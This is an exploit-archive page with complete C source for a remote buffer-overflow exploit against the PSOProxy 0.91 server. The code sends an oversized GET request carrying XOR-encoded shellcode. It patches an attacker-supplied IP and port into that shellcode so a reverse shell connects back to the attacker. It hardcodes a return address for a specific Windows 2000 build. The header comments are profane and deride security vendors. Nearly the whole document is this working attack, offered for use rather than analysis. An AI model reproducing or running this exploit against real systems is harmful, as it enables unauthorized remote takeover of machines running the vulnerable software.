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PSOProxy.c

PSOProxy.c
Posted Feb 20, 2004
Authored by Kralor | Site coromputer.net

Remote exploit that makes use of a buffer overflow during GET requests in the PSOProxy server version 0.91.

tags | exploit, remote, overflow
SHA-256 | ebb77334f93a0da0a47c9f0b9eeadbfd93710550e91f8cdd62436719f01c0594

PSOProxy.c

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/******************************************************************/
/* [Crpt] PSOProxy v0.91 remote sploit by kralor [Crpt] */
/******************************************************************/
/* fuck eEye */
/* fuck private exploits */
/* in other words, fuck you all security money makers and */
/* private exploits exchangers. */
/* lolo xXx thanks for errr.. she knows why =) */
/* 30min debugging/coding "hobbie"..no universal 'jmp esp' addr.. */
/******************************************************************/
/*informations: www.coromputer.net,irc undernet #coromputer */
/******************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock.h>

#pragma comment (lib,"ws2_32")

#define PORT 8080

#define RET_POS 1024

#define SIZE 1935

#define RET_ADDR 0x77E729E3 // win2k pro fr sp3

// sequence of 4 opcodes
#define HOP 0xd4 // host opcode
#define POP 0xd7 // port opcode

int cnx(char *host, int port)
{
int sock;
struct sockaddr_in yeah;
struct hostent *she;

sock=socket(AF_INET,SOCK_STREAM,0);
if(!sock) {
printf("error: unable to create socket\r\n");
return 0;
}
yeah.sin_family=AF_INET;
yeah.sin_addr.s_addr=inet_addr(host);
yeah.sin_port=htons((u_short)port);

if((she=gethostbyname(host))!=NULL) {
memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
} else {
if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
printf("error: cannot resolve host\r\n");
return 0;
}
}
printf("[+] Connecting to %-30s ...",host);
if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
printf("error: connection refused\r\n");
return 0;
}
printf("Done\r\n");
return sock;
}



void syntax(char *prog)
{
printf("syntax: %s <host> <your_ip> <your_port>\r\n",prog);
exit(0);
}

void banner(void)
{
printf("\r\n\t [Crpt] PSOProxy v0.91 remote sploit by kralor [Crpt]\r\n");
printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
return;
}


int main(int argc, char *argv[])
{
WSADATA wsaData;
int sock;
char useme[SIZE];
unsigned long host,port;
unsigned int i;
char shellc0de[] = /* sizeof(shellc0de+xorer) == 333 bytes */
/* classic xorer */
"\x90" // 0xcc (breakpoint) for debug :P
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
"\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
/* shellc0de */
"\x14\x79\x05\x94\x95\x95\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95"
"\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e\x50\xcb\xc8"
"\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95\x95\xfd\xa6"
"\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d\xc2\xfd\x4c"
"\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4\xc4\xd4\xc4"
"\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5\x7d\xec\x95"
"\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e\x59\xff\x85"
"\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3\xa5\x6a\xa3"
"\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b\x16\x79\xc1"
"\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68\x53\xd1\xb1"
"\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1\x1c\xd1\xb1"
"\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85\xc1\xc5\xc4"
"\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b\x6a\xa3\xfd"
"\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0\xc3\xc2\x1e"
"\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d\x1e"
"\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6\x6a\x69\xa6"
"\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9\xb1"
"\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89\x96"
"\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca\xcb\xc8\xce"
"\x57\x91\x95";

banner();
if(argc!=4)
syntax(argv[0]);
host=inet_addr(argv[2])^0x95959595;
port=atoi(argv[3]);
if(port<=0||port>65535) {
printf("error: <port> must be between 1 and 65535\r\n");
return -1;
}
port=htons((unsigned short)port);
port=port<<16;
port+=0x0002;
port=port^0x95959595;

for(i=0;i<sizeof(shellc0de);i++) {
if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
if((unsigned char)shellc0de[i+2]==HOP&&(unsigned char)shellc0de[i+3]==HOP) {
memcpy(&shellc0de[i],&host,4);
host=0;
}
if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
if((unsigned char)shellc0de[i+2]==POP&&(unsigned char)shellc0de[i+3]==POP) {
memcpy(&shellc0de[i],&port,4);
port=0;
}
}
if(host||port) {
printf("error: unabled to find ip/port sequence in shellc0de\r\n");
return -1;
}

if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error: unable to load winsock\r\n");
return -1;
}

sock=cnx(argv[1],PORT);
if(!sock)
return -1;
memset(useme,0x90,SIZE);
memcpy(&useme[1132],shellc0de,sizeof(shellc0de)-1);
*(unsigned long*)&useme[RET_POS] = RET_ADDR; // eip pointing to jmp esp...
printf("[+] Sending magic string ...");
send(sock,useme,sizeof(useme),0);
send(sock,"\r\n",2,0);
closesocket(sock);
printf("Done\r\n");
return 0;
}
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